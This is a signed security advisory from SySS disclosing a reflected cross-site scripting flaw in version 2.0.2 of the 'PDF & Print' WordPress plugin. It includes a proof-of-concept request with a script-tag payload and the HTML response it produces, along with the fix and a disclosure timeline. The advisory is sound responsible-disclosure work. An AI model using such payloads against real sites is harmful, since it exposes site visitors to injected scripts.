-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2018-014 Product: PDF & Print Manufacturer: Bestwebsoft Affected Version: 2.0.2 Tested Version: 2.0.2 Vulnerability Type: Cross-Site-Scripting (CWE-79) Risk Level: Medium Solution Status: Fixed Manufacturer Notification: 2018-08-24 Solution Date: 2018-09-13 Public Disclosure: 2018-09-28 CVE Reference: - Author of Advisory: Robin Trost, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: PDF & Print is a Wordpress Plugin which allows a user to generate a PDF file from the Blog post or print it. The manufacturer describes the product as follows (see [1]): "With this plugin you can create PDF files and print pages quickly. Add PDF & print buttons to WordPress website pages, posts, and widgets. Generate documents with custom styles and useful data for archiving, sharing, or saving." Due to improper encoding the plugin is vulnerable to reflected cross-site scripting attacks. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The called URL gets reflected in the <href> tag for the "View PDF" and "Print Content" Buttons. Because the GET-parameter names did not get encoded it is possible to execute JavaScript trough the URL. The value of the GET-parameter is encoded correctly, but the name of the GET-parameter is not encoded which leads to the Cross-Site-Scripting. This vulnerability affects all Blog Posts or Wordpress Sites where the "View PDF" or "Print Content" Button is displayed. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): GET /index.php/2018/07/25/hello-world/?param1=10"><&10"><script>alert (10);</script><href=" HTTP/1.1 [...] That request results in the <script> tag from the URI Path being embedded in the response in two places so that a browser will execute the JavaScript code. [...] <div class="pdfprnt-buttons pdfprnt-buttons-post pdfprnt-top-right"> <a href="http://<WORDPRESS BASE URL>/index.php/2018/07/25/hello- world/?param1=10%5C%22%3E%3C&10"><script>alert(10);</script><href=" &print=pdf" class="pdfprnt-button pdfprnt-button-pdf" target= "_blank"> <img src="http://<WORDPRESS BASE URL>/wp-content/plugins/ pdf-print/images/pdf.png" alt="image_pdf" title="View PDF" /> </a> <a href="http://<WORDPRESS BASE URL>/index.php/2018/07/25/hello- world/?param1=10%5C%22%3E%3C&10"><script>alert(10);</script><href=" &print=print" class="pdfprnt-button pdfprnt-button-print" target= "_blank"> <img src="http://<WORDPRESS BASE URL>/wp-content/plugins/ pdf-print/images/print.png" alt="image_print" title="Print Content" /> </a> </div> [...] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Update to version 2.0.3 of PDF & Print More Information: https://bestwebsoft.com/products/wordpress/plugins/pdf-print/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2018-07-25: Vulnerability discovered 2018-08-24: Vulnerability reported to manufacturer 2018-09-13: Patch released by manufacturer 2018-10-28: Public disclosure of vulnerability ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for PDF & Print https://bestwebsoft.com/products/wordpress/plugins/pdf-print/ [2] SySS Security Advisory SYSS-2018-014 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/ SYSS-2018-014.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/news/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Robin Trost of SySS GmbH. E-Mail: robin.trost at syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/ Robin_Trost.asc Key ID: 0x698E6EB3 Key Fingerprint: 85FE 80E2 04F3 6177 C61A 4618 61DE F14F 698E 6EB3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEEhf6A4gTzYXfGGkYYYd7xT2mObrMFAlut4ccACgkQYd7xT2mO brObOhAAl+WrB0zN0LquBAIPenAln2KyyeyoIVlIqavqfnop/t5RHruZdY1KVAQ6 0kcTLi/177eAE0Wzwi6GZunfLKiYR4yHdSQEKJ3FUCxY/sj9SvgQQFS7+3bKZRsw ojTG+0J9yklBmVZwBmIoV77Ca9d5qgd44tvfff3OCV1zsIPE91FYb8gNsT7MRHwp 3aw7tFd9xjwpoV/aERXPEURPrGCWC71SS0r5M1aEh5n65gF77HecWZeB2LNodJpI Q5AHd+8fRtfdagLaBe4ws9qQdB+M7FqUcCPSXnRBsyBSr/4DRa1cl5I/i3AMr81K m82tmGtflk62YPTQ0EXINw7LLvFOX0sSTK8z/M6vii3O6aBu03Aj1irlixZqDJa5 CTRvXBBXzA35oUJw9Usi+RjG+90PTizOd5HetDWx4k5UEdnYWwNlICN9iIBZHPOo 1b7yqX9E7FIB8elgjphaNpAr2NHyWZS0MeFNi7MAemfWWkrV4st6uHXYJYzvueNH LnUff8QrE3sVWR+6n7PH+c9IcSU9QvCZg67U0Sg90CSs87eTHLE+IHJ2VmycXTm+ IWPR7EU5PYUMsm8MzcCYNjE4Bxq0Jwx5w8/MXKi0PXvCCrf+zR8Y/bjBaoAy4PUy s7Z80TFrzQVy4r6xzyWOzJTKe+5ncjWLZYrkAsVGr+W+zhQsGFQ= =bW9N -----END PGP SIGNATURE-----
